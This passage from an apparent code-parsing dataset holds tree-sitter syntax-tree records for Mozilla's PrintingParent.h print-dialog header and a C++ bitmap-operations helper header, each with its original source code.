118, "type": "type_identifier", "text": "PPrintProgressDialogParent", "parent": 117, "children": [], "start_point": {"row": 43, "column": 38}, "end_point": {"row": 43, "column": 64}}, {"id": 119, "type": "pointer_declarator", "text": "* aActor", "parent": 117, "children": [120, 121], "start_point": {"row": 43, "column": 64}, "end_point": {"row": 43, "column": 72}}, {"id": 120, "type": "*", "text": "*", "parent": 119, "children": [], "start_point": {"row": 43, "column": 64}, "end_point": {"row": 43, "column": 65}}, {"id": 121, "type": "identifier", "text": "aActor", "parent": 119, "children": [], "start_point": {"row": 43, "column": 66}, "end_point": {"row": 43, "column": 72}}, {"id": 122, "type": "declaration", "text": "virtual PPrintSettingsDialogParent", "parent": 26, "children": [123, 124], "start_point": {"row": 45, "column": 4}, "end_point": {"row": 45, "column": 38}}, {"id": 123, "type": "type_identifier", "text": "virtual", "parent": 122, "children": [], "start_point": {"row": 45, "column": 4}, "end_point": {"row": 45, "column": 11}}, {"id": 124, "type": "identifier", "text": "PPrintSettingsDialogParent", "parent": 122, "children": [], "start_point": {"row": 45, "column": 12}, "end_point": {"row": 45, "column": 38}}, {"id": 125, "type": "pointer_expression", "text": "*\n AllocPPrintSettingsDialogParent()", "parent": 26, "children": [126, 127], "start_point": {"row": 45, "column": 38}, "end_point": {"row": 46, "column": 37}}, {"id": 126, "type": "*", "text": "*", "parent": 125, "children": [], "start_point": {"row": 45, "column": 38}, "end_point": {"row": 45, "column": 39}}, {"id": 127, "type": "call_expression", "text": "AllocPPrintSettingsDialogParent()", "parent": 125, "children": [128, 129], "start_point": {"row": 46, "column": 4}, "end_point": {"row": 46, "column": 37}}, {"id": 128, "type": "identifier", "text": "AllocPPrintSettingsDialogParent", "parent": 127, "children": [], "start_point": {"row": 46, "column": 4}, "end_point": {"row": 46, "column": 35}}, {"id": 129, "type": "argument_list", "text": "()", "parent": 127, "children": [], "start_point": {"row": 46, "column": 35}, "end_point": {"row": 46, "column": 37}}, {"id": 130, "type": "declaration", "text": "virtual bool\n DeallocPPrintSettingsDialogParent(PPrintSettingsDialogParent* aActor);", "parent": 26, "children": [131, 132, 134], "start_point": {"row": 48, "column": 4}, "end_point": {"row": 49, "column": 74}}, {"id": 131, "type": "type_identifier", "text": "virtual", "parent": 130, "children": [], "start_point": {"row": 48, "column": 4}, "end_point": {"row": 48, "column": 11}}, {"id": 132, "type": "ERROR", "text": "bool", "parent": 130, "children": [133], "start_point": {"row": 48, "column": 12}, "end_point": {"row": 48, "column": 16}}, {"id": 133, "type": "identifier", "text": "bool", "parent": 132, "children": [], "start_point": {"row": 48, "column": 12}, "end_point": {"row": 48, "column": 16}}, {"id": 134, "type": "function_declarator", "text": "DeallocPPrintSettingsDialogParent(PPrintSettingsDialogParent* aActor)", "parent": 130, "children": [135, 136], "start_point": {"row": 49, "column": 4}, "end_point": {"row": 49, "column": 73}}, {"id": 135, "type": "identifier", "text": "DeallocPPrintSettingsDialogParent", "parent": 134, "children": [], "start_point": {"row": 49, "column": 4}, "end_point": {"row": 49, "column": 37}}, {"id": 136, "type": "parameter_list", "text": "(PPrintSettingsDialogParent* aActor)", "parent": 134, "children": [137], "start_point": {"row": 49, "column": 37}, "end_point": {"row": 49, "column": 73}}, {"id": 137, "type": "parameter_declaration", "text": "PPrintSettingsDialogParent* aActor", "parent": 136, "children": [138, 139], "start_point": {"row": 49, "column": 38}, "end_point": {"row": 49, "column": 72}}, {"id": 138, "type": "type_identifier", "text": "PPrintSettingsDialogParent", "parent": 137, "children": [], "start_point": {"row": 49, "column": 38}, "end_point": {"row": 49, "column": 64}}, {"id": 139, "type": "pointer_declarator", "text": "* aActor", "parent": 137, "children": [140, 141], "start_point": {"row": 49, "column": 64}, "end_point": {"row": 49, "column": 72}}, {"id": 140, "type": "*", "text": "*", "parent": 139, "children": [], "start_point": {"row": 49, "column": 64}, "end_point": {"row": 49, "column": 65}}, {"id": 141, "type": "identifier", "text": "aActor", "parent": 139, "children": [], "start_point": {"row": 49, "column": 66}, "end_point": {"row": 49, "column": 72}}, {"id": 142, "type": "declaration", "text": "virtual void\n ActorDestroy(ActorDestroyReason aWhy);", "parent": 26, "children": [143, 144, 146], "start_point": {"row": 51, "column": 4}, "end_point": {"row": 52, "column": 42}}, {"id": 143, "type": "type_identifier", "text": "virtual", "parent": 142, "children": [], "start_point": {"row": 51, "column": 4}, "end_point": {"row": 51, "column": 11}}, {"id": 144, "type": "ERROR", "text": "void", "parent": 142, "children": [145], "start_point": {"row": 51, "column": 12}, "end_point": {"row": 51, "column": 16}}, {"id": 145, "type": "identifier", "text": "void", "parent": 144, "children": [], "start_point": {"row": 51, "column": 12}, "end_point": {"row": 51, "column": 16}}, {"id": 146, "type": "function_declarator", "text": "ActorDestroy(ActorDestroyReason aWhy)", "parent": 142, "children": [147, 148], "start_point": {"row": 52, "column": 4}, "end_point": {"row": 52, "column": 41}}, {"id": 147, "type": "identifier", "text": "ActorDestroy", "parent": 146, "children": [], "start_point": {"row": 52, "column": 4}, "end_point": {"row": 52, "column": 16}}, {"id": 148, "type": "parameter_list", "text": "(ActorDestroyReason aWhy)", "parent": 146, "children": [149], "start_point": {"row": 52, "column": 16}, "end_point": {"row": 52, "column": 41}}, {"id": 149, "type": "parameter_declaration", "text": "ActorDestroyReason aWhy", "parent": 148, "children": [150, 151], "start_point": {"row": 52, "column": 17}, "end_point": {"row": 52, "column": 40}}, {"id": 150, "type": "type_identifier", "text": "ActorDestroyReason", "parent": 149, "children": [], "start_point": {"row": 52, "column": 17}, "end_point": {"row": 52, "column": 35}}, {"id": 151, "type": "identifier", "text": "aWhy", "parent": 149, "children": [], "start_point": {"row": 52, "column": 36}, "end_point": {"row": 52, "column": 40}}, {"id": 152, "type": "declaration", "text": "MOZ_IMPLICIT PrintingParent();", "parent": 26, "children": [153, 154], "start_point": {"row": 54, "column": 4}, "end_point": {"row": 54, "column": 34}}, {"id": 153, "type": "type_identifier", "text": "MOZ_IMPLICIT", "parent": 152, "children": [], "start_point": {"row": 54, "column": 4}, "end_point": {"row": 54, "column": 16}}, {"id": 154, "type": "function_declarator", "text": "PrintingParent()", "parent": 152, "children": [155, 156], "start_point": {"row": 54, "column": 17}, "end_point": {"row": 54, "column": 33}}, {"id": 155, "type": "identifier", "text": "PrintingParent", "parent": 154, "children": [], "start_point": {"row": 54, "column": 17}, "end_point": {"row": 54, "column": 31}}, {"id": 156, "type": "parameter_list", "text": "()", "parent": 154, "children": [], "start_point": {"row": 54, "column": 31}, "end_point": {"row": 54, "column": 33}}, {"id": 157, "type": "declaration", "text": "virtual ~PrintingParent();", "parent": 26, "children": [158, 159, 161], "start_point": {"row": 55, "column": 4}, "end_point": {"row": 55, "column": 30}}, {"id": 158, "type": "type_identifier", "text": "virtual", "parent": 157, "children": [], "start_point": {"row": 55, "column": 4}, "end_point": {"row": 55, "column": 11}}, {"id": 159, "type": "ERROR", "text": "~", "parent": 157, "children": [160], "start_point": {"row": 55, "column": 12}, "end_point": {"row": 55, "column": 13}}, {"id": 160, "type": "~", "text": "~", "parent": 159, "children": [], "start_point": {"row": 55, "column": 12}, "end_point": {"row": 55, "column": 13}}, {"id": 161, "type": "function_declarator", "text": "PrintingParent()", "parent": 157, "children": [162, 163], "start_point": {"row": 55, "column": 13}, "end_point": {"row": 55, "column": 29}}, {"id": 162, "type": "identifier", "text": "PrintingParent", "parent": 161, "children": [], "start_point": {"row": 55, "column": 13}, "end_point": {"row": 55, "column": 27}}, {"id": 163, "type": "parameter_list", "text": "()", "parent": 161, "children": [], "start_point": {"row": 55, "column": 27}, "end_point": {"row": 55, "column": 29}}, {"id": 164, "type": "labeled_statement", "text": "private:\n nsIDOMWindow*\n DOMWindowFromBrowserParent(PBrowserParent* parent);", "parent": 26, "children": [165], "start_point": {"row": 57, "column": 0}, "end_point": {"row": 59, "column": 55}}, {"id": 165, "type": "declaration", "text": "nsIDOMWindow*\n DOMWindowFromBrowserParent(PBrowserParent* parent);", "parent": 164, "children": [166, 167], "start_point": {"row": 58, "column": 4}, "end_point": {"row": 59, "column": 55}}, {"id": 166, "type": "type_identifier", "text": "nsIDOMWindow", "parent": 165, "children": [], "start_point": {"row": 58, "column": 4}, "end_point": {"row": 58, "column": 16}}, {"id": 167, "type": "pointer_declarator", "text": "*\n DOMWindowFromBrowserParent(PBrowserParent* parent)", "parent": 165, "children": [168, 169], "start_point": {"row": 58, "column": 16}, "end_point": {"row": 59, "column": 54}}, {"id": 168, "type": "*", "text": "*", "parent": 167, "children": [], "start_point": {"row": 58, "column": 16}, "end_point": {"row": 58, "column": 17}}, {"id": 169, "type": "function_declarator", "text": "DOMWindowFromBrowserParent(PBrowserParent* parent)", "parent": 167, "children": [170, 171], "start_point": {"row": 59, "column": 4}, "end_point": {"row": 59, "column": 54}}, {"id": 170, "type": "identifier", "text": "DOMWindowFromBrowserParent", "parent": 169, "children": [], "start_point": {"row": 59, "column": 4}, "end_point": {"row": 59, "column": 30}}, {"id": 171, "type": "parameter_list", "text": "(PBrowserParent* parent)", "parent": 169, "children": [172], "start_point": {"row": 59, "column": 30}, "end_point": {"row": 59, "column": 54}}, {"id": 172, "type": "parameter_declaration", "text": "PBrowserParent* parent", "parent": 171, "children": [173, 174], "start_point": {"row": 59, "column": 31}, "end_point": {"row": 59, "column": 53}}, {"id": 173, "type": "type_identifier", "text": "PBrowserParent", "parent": 172, "children": [], "start_point": {"row": 59, "column": 31}, "end_point": {"row": 59, "column": 45}}, {"id": 174, "type": "pointer_declarator", "text": "* parent", "parent": 172, "children": [175, 176], "start_point": {"row": 59, "column": 45}, "end_point": {"row": 59, "column": 53}}, {"id": 175, "type": "*", "text": "*", "parent": 174, "children": [], "start_point": {"row": 59, "column": 45}, "end_point": {"row": 59, "column": 46}}, {"id": 176, "type": "identifier", "text": "parent", "parent": 174, "children": [], "start_point": {"row": 59, "column": 47}, "end_point": {"row": 59, "column": 53}}, {"id": 177, "type": "declaration", "text": "nsresult\n ShowPrintDialog(PBrowserParent* parent,\n const PrintData& data,\n PrintData* result);", "parent": 26, "children": [178, 179], "start_point": {"row": 61, "column": 4}, "end_point": {"row": 64, "column": 39}}, {"id": 178, "type": "type_identifier", "text": "nsresult", "parent": 177, "children": [], "start_point": {"row": 61, "column": 4}, "end_point": {"row": 61, "column": 12}}, {"id": 179, "type": "function_declarator", "text": "ShowPrintDialog(PBrowserParent* parent,\n const PrintData& data,\n PrintData* result)", "parent": 177, "children": [180, 181], "start_point": {"row": 62, "column": 4}, "end_point": {"row": 64, "column": 38}}, {"id": 180, "type": "identifier", "text": "ShowPrintDialog", "parent": 179, "children": [], "start_point": {"row": 62, "column": 4}, "end_point": {"row": 62, "column": 19}}, {"id": 181, "type": "parameter_list", "text": "(PBrowserParent* parent,\n const PrintData& data,\n PrintData* result)", "parent": 179, "children": [182, 187, 190], "start_point": {"row": 62, "column": 19}, "end_point": {"row": 64, "column": 38}}, {"id": 182, "type": "parameter_declaration", "text": "PBrowserParent* parent", "parent": 181, "children": [183, 184], "start_point": {"row": 62, "column": 20}, "end_point": {"row": 62, "column": 42}}, {"id": 183, "type": "type_identifier", "text": "PBrowserParent", "parent": 182, "children": [], "start_point": {"row": 62, "column": 20}, "end_point": {"row": 62, "column": 34}}, {"id": 184, "type": "pointer_declarator", "text": "* parent", "parent": 182, "children": [185, 186], "start_point": {"row": 62, "column": 34}, "end_point": {"row": 62, "column": 42}}, {"id": 185, "type": "*", "text": "*", "parent": 184, "children": [], "start_point": {"row": 62, "column": 34}, "end_point": {"row": 62, "column": 35}}, {"id": 186, "type": "identifier", "text": "parent", "parent": 184, "children": [], "start_point": {"row": 62, "column": 36}, "end_point": {"row": 62, "column": 42}}, {"id": 187, "type": "parameter_declaration", "text": "const PrintData& data", "parent": 181, "children": [188, 189], "start_point": {"row": 63, "column": 20}, "end_point": {"row": 63, "column": 41}}, {"id": 188, "type": "type_identifier", "text": "PrintData", "parent": 187, "children": [], "start_point": {"row": 63, "column": 26}, "end_point": {"row": 63, "column": 35}}, {"id": 189, "type": "identifier", "text": "data", "parent": 187, "children": [], "start_point": {"row": 63, "column": 37}, "end_point": {"row": 63, "column": 41}}, {"id": 190, "type": "parameter_declaration", "text": "PrintData* result", "parent": 181, "children": [191, 192], "start_point": {"row": 64, "column": 20}, "end_point": {"row": 64, "column": 37}}, {"id": 191, "type": "type_identifier", "text": "PrintData", "parent": 190, "children": [], "start_point": {"row": 64, "column": 20}, "end_point": {"row": 64, "column": 29}}, {"id": 192, "type": "pointer_declarator", "text": "* result", "parent": 190, "children": [193, 194], "start_point": {"row": 64, "column": 29}, "end_point": {"row": 64, "column": 37}}, {"id": 193, "type": "*", "text": "*", "parent": 192, "children": [], "start_point": {"row": 64, "column": 29}, "end_point": {"row": 64, "column": 30}}, {"id": 194, "type": "identifier", "text": "result", "parent": 192, "children": [], "start_point": {"row": 64, "column": 31}, "end_point": {"row": 64, "column": 37}}, {"id": 195, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 69, "column": 0}, "end_point": {"row": 69, "column": 6}}]}, "node_categories": {"declarations": {"functions": [18, 21, 35, 65, 85, 114, 134, 146, 154, 161, 169, 179], "variables": [12, 14, 16, 24, 31, 38, 43, 48, 51, 56, 61, 68, 73, 78, 81, 88, 91, 94, 97, 102, 110, 117, 122, 130, 137, 142, 149, 152, 157, 165, 172, 177, 182, 187, 190], "classes": [], "imports": [6, 7, 9, 10], "modules": [], "enums": []}, "statements": {"expressions": [105, 107, 125, 127], "assignments": [], "loops": [], "conditionals": [0, 1, 2, 5, 13, 15, 17, 19, 20, 22, 23, 25, 27, 29, 32, 34, 36, 39, 42, 44, 47, 50, 55, 60, 62, 64, 66, 69, 72, 74, 77, 79, 80, 82, 84, 86, 89, 90, 93, 96, 98, 101, 103, 104, 108, 111, 113, 115, 118, 121, 123, 124, 128, 131, 133, 135, 138, 141, 143, 145, 147, 150, 151, 153, 155, 158, 162, 166, 170, 173, 176, 178, 180, 183, 186, 188, 189, 191, 194, 195], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [8, 11], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 18, "universal_type": "function", "name": "PrintingParent", "text_snippet": "namespace mozilla {\nnamespace embedding {\n\nclass PrintingParent final : public PPrintingParent\n{\npub"}, {"node_id": 21, "universal_type": "function", "name": "PrintingParent", "text_snippet": "namespace embedding {\n\nclass PrintingParent final : public PPrintingParent\n{\npublic:\n virtual boo"}, {"node_id": 35, "universal_type": "function", "name": "unknown", "text_snippet": "RecvShowProgress(PBrowserParent* parent,\n PPrintProgressDialogParent* printProgr"}, {"node_id": 65, "universal_type": "function", "name": "unknown", "text_snippet": "RecvShowPrintDialog(PPrintSettingsDialogParent* aDialog,\n PBrowserParent* aPa"}, {"node_id": 85, "universal_type": "function", "name": "unknown", "text_snippet": "RecvSavePrintSettings(const PrintData& data,\n const bool& usePrinterNamePre"}, {"node_id": 114, "universal_type": "function", "name": "unknown", "text_snippet": "DeallocPPrintProgressDialogParent(PPrintProgressDialogParent* aActor)"}, {"node_id": 134, "universal_type": "function", "name": "unknown", "text_snippet": "DeallocPPrintSettingsDialogParent(PPrintSettingsDialogParent* aActor)"}, {"node_id": 146, "universal_type": "function", "name": "unknown", "text_snippet": "ActorDestroy(ActorDestroyReason aWhy)"}, {"node_id": 154, "universal_type": "function", "name": "unknown", "text_snippet": "PrintingParent()"}, {"node_id": 161, "universal_type": "function", "name": "unknown", "text_snippet": "PrintingParent()"}, {"node_id": 169, "universal_type": "function", "name": "unknown", "text_snippet": "DOMWindowFromBrowserParent(PBrowserParent* parent)"}, {"node_id": 179, "universal_type": "function", "name": "unknown", "text_snippet": "ShowPrintDialog(PBrowserParent* parent,\n const PrintData& data,\n "}], "class_declarations": [], "import_statements": [{"node_id": 6, "text": "#include \"mozilla/dom/PBrowserParent.h\"\n"}, {"node_id": 7, "text": "#include"}, {"node_id": 9, "text": "#include \"mozilla/embedding/PPrintingParent.h\"\n"}, {"node_id": 10, "text": "#include"}]}, "original_source_code": "/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */\n/* vim: set sw=4 ts=8 et tw=80 : */\n/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http://mozilla.org/MPL/2.0/. */\n\n#ifndef mozilla_embedding_PrintingParent_h\n#define mozilla_embedding_PrintingParent_h\n\n#include \"mozilla/dom/PBrowserParent.h\"\n#include \"mozilla/embedding/PPrintingParent.h\"\n\nclass nsIDOMWindow;\nclass PPrintProgressDialogParent;\nclass PPrintSettingsDialogParent;\n\nnamespace mozilla {\nnamespace embedding {\n\nclass PrintingParent final : public PPrintingParent\n{\npublic:\n virtual bool\n RecvShowProgress(PBrowserParent* parent,\n PPrintProgressDialogParent* printProgressDialog,\n const bool& isForPrinting,\n bool* notifyOnOpen,\n bool* success);\n virtual bool\n RecvShowPrintDialog(PPrintSettingsDialogParent* aDialog,\n PBrowserParent* aParent,\n const PrintData& aData);\n\n virtual bool\n RecvSavePrintSettings(const PrintData& data,\n const bool& usePrinterNamePrefix,\n const uint32_t& flags,\n nsresult* rv);\n\n virtual PPrintProgressDialogParent*\n AllocPPrintProgressDialogParent();\n\n virtual bool\n DeallocPPrintProgressDialogParent(PPrintProgressDialogParent* aActor);\n\n virtual PPrintSettingsDialogParent*\n AllocPPrintSettingsDialogParent();\n\n virtual bool\n DeallocPPrintSettingsDialogParent(PPrintSettingsDialogParent* aActor);\n\n virtual void\n ActorDestroy(ActorDestroyReason aWhy);\n\n MOZ_IMPLICIT PrintingParent();\n virtual ~PrintingParent();\n\nprivate:\n nsIDOMWindow*\n DOMWindowFromBrowserParent(PBrowserParent* parent);\n\n nsresult\n ShowPrintDialog(PBrowserParent* parent,\n const PrintData& data,\n PrintData* result);\n};\n} // namespace embedding\n} // namespace mozilla\n\n#endif\n\n"}
81,116
c
#ifndef GEAS__BITOPS__H #define GEAS__BITOPS__H // Helper header for doing stuff on BitMaps. #include <cstring> #include <stdint.h> namespace geas { namespace B32 { inline unsigned block_bits(void) { return 5; } inline unsigned block_size(void) { return 1 << block_bits(); } inline uint64_t block_mask(void) { return block_size()-1; } inline unsigned req_words(unsigned sz) { return (sz >> block_bits()) + ((sz & block_mask()) != 0); } inline unsigned block(unsigned p) { return p >> block_bits(); } inline unsigned index(unsigned p) { return p & ((1<<block_bits())-1); } inline uint64_t bit(unsigned p) { return 1ull << index(p); } }; // TODO: Factor all this stuff out namespace B64 { inline unsigned block_bits(void) { return 6; } inline unsigned block_size(void) { return 1 << block_bits(); } inline uint64_t block_mask(void) { return block_size()-1; } inline unsigned req_words(unsigned sz) { return (sz >> block_bits()) + ((sz & block_mask()) != 0); } inline unsigned block(unsigned p) { return p >> block_bits(); } inline unsigned index(unsigned p) { return p & ((1<<block_bits())-1); } inline uint64_t bit(unsigned p) { return 1ull << index(p); } inline void Fill_BV(uint64_t* start, unsigned sz) { memset(start, -1, sizeof(uint64_t) * req_words(sz)); if(bit(sz)) start[block(sz)] &= bit(sz)-1; } inline int Min_BV(uint64_t* start, int base = 0) { while(!*start) { ++start; base += 64; } return base + __builtin_ctzll(*start); } template<class F> inline void Iter_BV(uint64_t* b, uint64_t* e, F f, int base = 0) { for(; b != e; ++b) { uint64_t mask(*b); while(mask) { unsigned offset(__builtin_ctzll(mask)); mask &= (mask-1); f(base + offset); } base += 64; } } template<class F> inline void Iter_Word(int base, uint64_t word, F f) { while(word) { unsigned offset(__builtin_ctzll(word)); word &= (word-1); f(base + offset); } } template<class F> inline void Iter_Blocks(uint64_t* b, uint64_t* e, F f, int base = 0) { for(; b != e; ++b) { uint64_t mask(*b); if(mask) f(base, mask); base += 64; } } template<class F> inline bool Forall_Word(int base, uint64_t word, F f) { while(word) { unsigned offset(__builtin_ctzll(word)); word &= (word-1); if(!f(base + offset)) return false; } return true; } template<class F> inline bool Forall_BV(uint64_t* b, uint64_t* e, F f, int base = 0) { for(; b != e; ++b) { uint64_t mask(*b); while(mask) { unsigned offset(__builtin_ctzll(mask)); mask &= (mask-1); if(!f(base + offset)) return false; } base += 64; } return true; } template<class F> inline bool Forall_Blocks(uint64_t* b, uint64_t* e, F f, int base = 0) { for(; b != e; ++b) { uint64_t mask(*b); if(mask) { if(!f(base, mask)) return false; } base += 64; } return true; } }; }; #endif
30.27
105
(translation_unit) "#ifndef GEAS__BITOPS__H\n#define GEAS__BITOPS__H\n// Helper header for doing stuff on BitMaps.\n#include <cstring>\n#include <stdint.h>\n\nnamespace geas {\n namespace B32 {\n inline unsigned block_bits(void) { return 5; }\n inline unsigned block_size(void) { return 1 << block_bits(); }\n inline uint64_t block_mask(void) { return block_size()-1; }\n inline unsigned req_words(unsigned sz) { return (sz >> block_bits()) + ((sz & block_mask()) != 0); }\n inline unsigned block(unsigned p) { return p >> block_bits(); }\n inline unsigned index(unsigned p) { return p & ((1<<block_bits())-1); }\n inline uint64_t bit(unsigned p) { return 1ull << index(p); }\n };\n\n // TODO: Factor all this stuff out\n namespace B64 {\n inline unsigned block_bits(void) { return 6; }\n inline unsigned block_size(void) { return 1 << block_bits(); }\n inline uint64_t block_mask(void) { return block_size()-1; }\n inline unsigned req_words(unsigned sz) { return (sz >> block_bits()) + ((sz & block_mask()) != 0); }\n inline unsigned block(unsigned p) { return p >> block_bits(); }\n inline unsigned index(unsigned p) { return p & ((1<<block_bits())-1); }\n inline uint64_t bit(unsigned p) { return 1ull << index(p); }\n\n inline void Fill_BV(uint64_t* start, unsigned sz) {\n memset(start, -1, sizeof(uint64_t) * req_words(sz));\n if(bit(sz))\n start[block(sz)] &= bit(sz)-1;\n }\n\n inline int Min_BV(uint64_t* start, int base = 0) {\n while(!*start) {\n ++start;\n base += 64;\n }\n return base + __builtin_ctzll(*start);\n }\n \n template<class F>\n inline void Iter_BV(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n f(base + offset);\n }\n base += 64;\n }\n }\n\n template<class F>\n inline void Iter_Word(int base, uint64_t word, F f) {\n while(word) {\n unsigned offset(__builtin_ctzll(word));\n word &= (word-1);\n f(base + offset);\n }\n }\n template<class F>\n inline void Iter_Blocks(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n if(mask)\n f(base, mask);\n base += 64;\n }\n }\n template<class F>\n inline bool Forall_Word(int base, uint64_t word, F f) {\n while(word) {\n unsigned offset(__builtin_ctzll(word));\n word &= (word-1);\n if(!f(base + offset))\n return false;\n }\n return true;\n }\n template<class F>\n inline bool Forall_BV(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n if(!f(base + offset))\n return false;\n }\n base += 64;\n }\n return true;\n }\n template<class F>\n inline bool Forall_Blocks(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n if(mask) {\n if(!f(base, mask))\n return false;\n }\n base += 64;\n }\n return true;\n }\n };\n};\n\n#endif\n" (preproc_ifdef) "#ifndef GEAS__BITOPS__H\n#define GEAS__BITOPS__H\n// Helper header for doing stuff on BitMaps.\n#include <cstring>\n#include <stdint.h>\n\nnamespace geas {\n namespace B32 {\n inline unsigned block_bits(void) { return 5; }\n inline unsigned block_size(void) { return 1 << block_bits(); }\n inline uint64_t block_mask(void) { return block_size()-1; }\n inline unsigned req_words(unsigned sz) { return (sz >> block_bits()) + ((sz & block_mask()) != 0); }\n inline unsigned block(unsigned p) { return p >> block_bits(); }\n inline unsigned index(unsigned p) { return p & ((1<<block_bits())-1); }\n inline uint64_t bit(unsigned p) { return 1ull << index(p); }\n };\n\n // TODO: Factor all this stuff out\n namespace B64 {\n inline unsigned block_bits(void) { return 6; }\n inline unsigned block_size(void) { return 1 << block_bits(); }\n inline uint64_t block_mask(void) { return block_size()-1; }\n inline unsigned req_words(unsigned sz) { return (sz >> block_bits()) + ((sz & block_mask()) != 0); }\n inline unsigned block(unsigned p) { return p >> block_bits(); }\n inline unsigned index(unsigned p) { return p & ((1<<block_bits())-1); }\n inline uint64_t bit(unsigned p) { return 1ull << index(p); }\n\n inline void Fill_BV(uint64_t* start, unsigned sz) {\n memset(start, -1, sizeof(uint64_t) * req_words(sz));\n if(bit(sz))\n start[block(sz)] &= bit(sz)-1;\n }\n\n inline int Min_BV(uint64_t* start, int base = 0) {\n while(!*start) {\n ++start;\n base += 64;\n }\n return base + __builtin_ctzll(*start);\n }\n \n template<class F>\n inline void Iter_BV(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n f(base + offset);\n }\n base += 64;\n }\n }\n\n template<class F>\n inline void Iter_Word(int base, uint64_t word, F f) {\n while(word) {\n unsigned offset(__builtin_ctzll(word));\n word &= (word-1);\n f(base + offset);\n }\n }\n template<class F>\n inline void Iter_Blocks(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n if(mask)\n f(base, mask);\n base += 64;\n }\n }\n template<class F>\n inline bool Forall_Word(int base, uint64_t word, F f) {\n while(word) {\n unsigned offset(__builtin_ctzll(word));\n word &= (word-1);\n if(!f(base + offset))\n return false;\n }\n return true;\n }\n template<class F>\n inline bool Forall_BV(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n if(!f(base + offset))\n return false;\n }\n base += 64;\n }\n return true;\n }\n template<class F>\n inline bool Forall_Blocks(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n if(mask) {\n if(!f(base, mask))\n return false;\n }\n base += 64;\n }\n return true;\n }\n };\n};\n\n#endif" (#ifndef) "#ifndef" (identifier) "GEAS__BITOPS__H" (preproc_def) "#define GEAS__BITOPS__H\n" (#define) "#define" (identifier) "GEAS__BITOPS__H" (comment) "// Helper header for doing stuff on BitMaps." (preproc_include) "#include <cstring>\n" (#include) "#include" (system_lib_string) "<cstring>" (preproc_include) "#include <stdint.h>\n" (#include) "#include" (system_lib_string) "<stdint.h>" (function_definition) "namespace geas {\n namespace B32 {\n inline unsigned block_bits(void) { return 5; }\n inline unsigned block_size(void) { return 1 << block_bits(); }\n inline uint64_t block_mask(void) { return block_size()-1; }\n inline unsigned req_words(unsigned sz) { return (sz >> block_bits()) + ((sz & block_mask()) != 0); }\n inline unsigned block(unsigned p) { return p >> block_bits(); }\n inline unsigned index(unsigned p) { return p & ((1<<block_bits())-1); }\n inline uint64_t bit(unsigned p) { return 1ull << index(p); }\n };\n\n // TODO: Factor all this stuff out\n namespace B64 {\n inline unsigned block_bits(void) { return 6; }\n inline unsigned block_size(void) { return 1 << block_bits(); }\n inline uint64_t block_mask(void) { return block_size()-1; }\n inline unsigned req_words(unsigned sz) { return (sz >> block_bits()) + ((sz & block_mask()) != 0); }\n inline unsigned block(unsigned p) { return p >> block_bits(); }\n inline unsigned index(unsigned p) { return p & ((1<<block_bits())-1); }\n inline uint64_t bit(unsigned p) { return 1ull << index(p); }\n\n inline void Fill_BV(uint64_t* start, unsigned sz) {\n memset(start, -1, sizeof(uint64_t) * req_words(sz));\n if(bit(sz))\n start[block(sz)] &= bit(sz)-1;\n }\n\n inline int Min_BV(uint64_t* start, int base = 0) {\n while(!*start) {\n ++start;\n base += 64;\n }\n return base + __builtin_ctzll(*start);\n }\n \n template<class F>\n inline void Iter_BV(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n f(base + offset);\n }\n base += 64;\n }\n }\n\n template<class F>\n inline void Iter_Word(int base, uint64_t word, F f) {\n while(word) {\n unsigned offset(__builtin_ctzll(word));\n word &= (word-1);\n f(base + offset);\n }\n }\n template<class F>\n inline void Iter_Blocks(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n if(mask)\n f(base, mask);\n base += 64;\n }\n }\n template<class F>\n inline bool Forall_Word(int base, uint64_t word, F f) {\n while(word) {\n unsigned offset(__builtin_ctzll(word));\n word &= (word-1);\n if(!f(base + offset))\n return false;\n }\n return true;\n }\n template<class F>\n inline bool Forall_BV(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n if(!f(base + offset))\n return false;\n }\n base += 64;\n }\n return true;\n }\n template<class F>\n inline bool Forall_Blocks(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n if(mask) {\n if(!f(base, mask))\n return false;\n }\n base += 64;\n }\n return true;\n }\n };\n}" (type_identifier) "namespace" (identifier) "geas" (compound_statement) "{\n namespace B32 {\n inline unsigned block_bits(void) { return 5; }\n inline unsigned block_size(void) { return 1 << block_bits(); }\n inline uint64_t block_mask(void) { return block_size()-1; }\n inline unsigned req_words(unsigned sz) { return (sz >> block_bits()) + ((sz & block_mask()) != 0); }\n inline unsigned block(unsigned p) { return p >> block_bits(); }\n inline unsigned index(unsigned p) { return p & 